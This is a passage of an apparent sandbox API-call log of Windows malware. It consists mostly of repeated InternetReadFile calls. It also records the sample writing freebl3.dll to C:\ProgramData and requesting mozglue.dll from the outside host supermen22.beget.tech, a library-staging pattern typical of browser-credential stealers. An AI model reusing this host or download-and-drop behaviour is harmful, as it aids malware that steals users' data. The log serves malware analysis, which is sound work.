lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26203f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26207d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26207d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2620bc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2620bc0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2620fa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2620fa8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2621390, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2621390*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2621778, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2621778*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2621b60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2621b60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2621f48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2621f48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2622330, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2622330*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x264f720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x264f720*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x264fb08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x264fb08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x264fef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x264fef0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26502d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26502d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26506c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26506c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2650aa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2650aa8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2650e90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2650e90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2651278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2651278*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2651660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2651660*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2651a48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2651a48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2651e30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2651e30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2652218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2652218*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2652600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2652600*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26529e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26529e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2652dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2652dd0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26531b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26531b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.883] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26535a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26535a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.883] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2653988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2653988*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.883] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2653d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2653d70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.884] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2654158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2654158*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.885] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2654540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2654540*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.885] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2654928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2654928*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.885] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2654d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2654d10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.885] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26550f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26550f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.886] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26554e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26554e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.886] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26558c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26558c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.886] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2655cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2655cb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.886] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2656098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2656098*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.887] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2656480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2656480*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.887] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2656868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2656868*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.887] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2656c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2656c50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.887] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604820, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604820*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.887] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604c08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604c08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.888] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604ff0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604ff0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.888] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26053d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26053d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.888] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26057c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26057c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.888] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2605ba8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2605ba8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.888] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2605f90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2605f90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606378, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606378*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606760, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606760*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606b48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606b48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606f30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606f30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607318, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607318*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.914] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607700, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607700*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.914] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607ae8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607ae8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.914] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607ed0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607ed0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.915] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26082b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26082b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.915] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26086a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26086a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.915] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2608a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2608a88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.915] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2608e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2608e70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609258*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609640*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609a28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609e10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a1f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a1f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a5e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a5e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a9c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a9c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260adb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260adb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b198*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b580*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b968*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2647d58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2647d58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2648140, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2648140*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2648528, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2648528*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2648910, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2648910*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.968] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0 | out: lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0) returned 0 [0044.968] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0044.968] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0044.968] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0044.968] CreateFileA (lpFileName="C:\\ProgramData\\\\freebl3.dll" (normalized: "c:\\programdata\\freebl3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0044.969] WriteFile (in: hFile=0x270, lpBuffer=0x25d0048*, nNumberOfBytesToWrite=0x519d0, lpNumberOfBytesWritten=0x19f824, lpOverlapped=0x0 | out: lpBuffer=0x25d0048*, lpNumberOfBytesWritten=0x19f824*=0x519d0, lpOverlapped=0x0) returned 1 [0044.977] CloseHandle (hObject=0x270) returned 1 [0044.986] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x57cc40 [0044.986] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.986] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.986] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.987] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.988] GetLastError () returned 0x0 [0044.988] SetLastError (dwErrCode=0x0) [0044.988] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0044.988] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f7b8, dwBufferLength=0x4) returned 1 [0044.988] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0044.988] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/mozglue.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0044.988] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0044.988] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0044.988] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0044.988] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0044.988] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0045.044] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.045] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0048*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0430*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0818*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.047] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0c00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.047] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0fe8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.047] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d13d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d13d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.047] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d17b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d17b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d1ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d1ba0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d1f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d1f88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2370*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2758*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2b40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2f28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3310*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d36f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d36f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3ae0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3ec8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.050] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d42b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d42b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.050] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4698*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.050] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4a80, dwNumberOfBytesToRead=0x3e8, 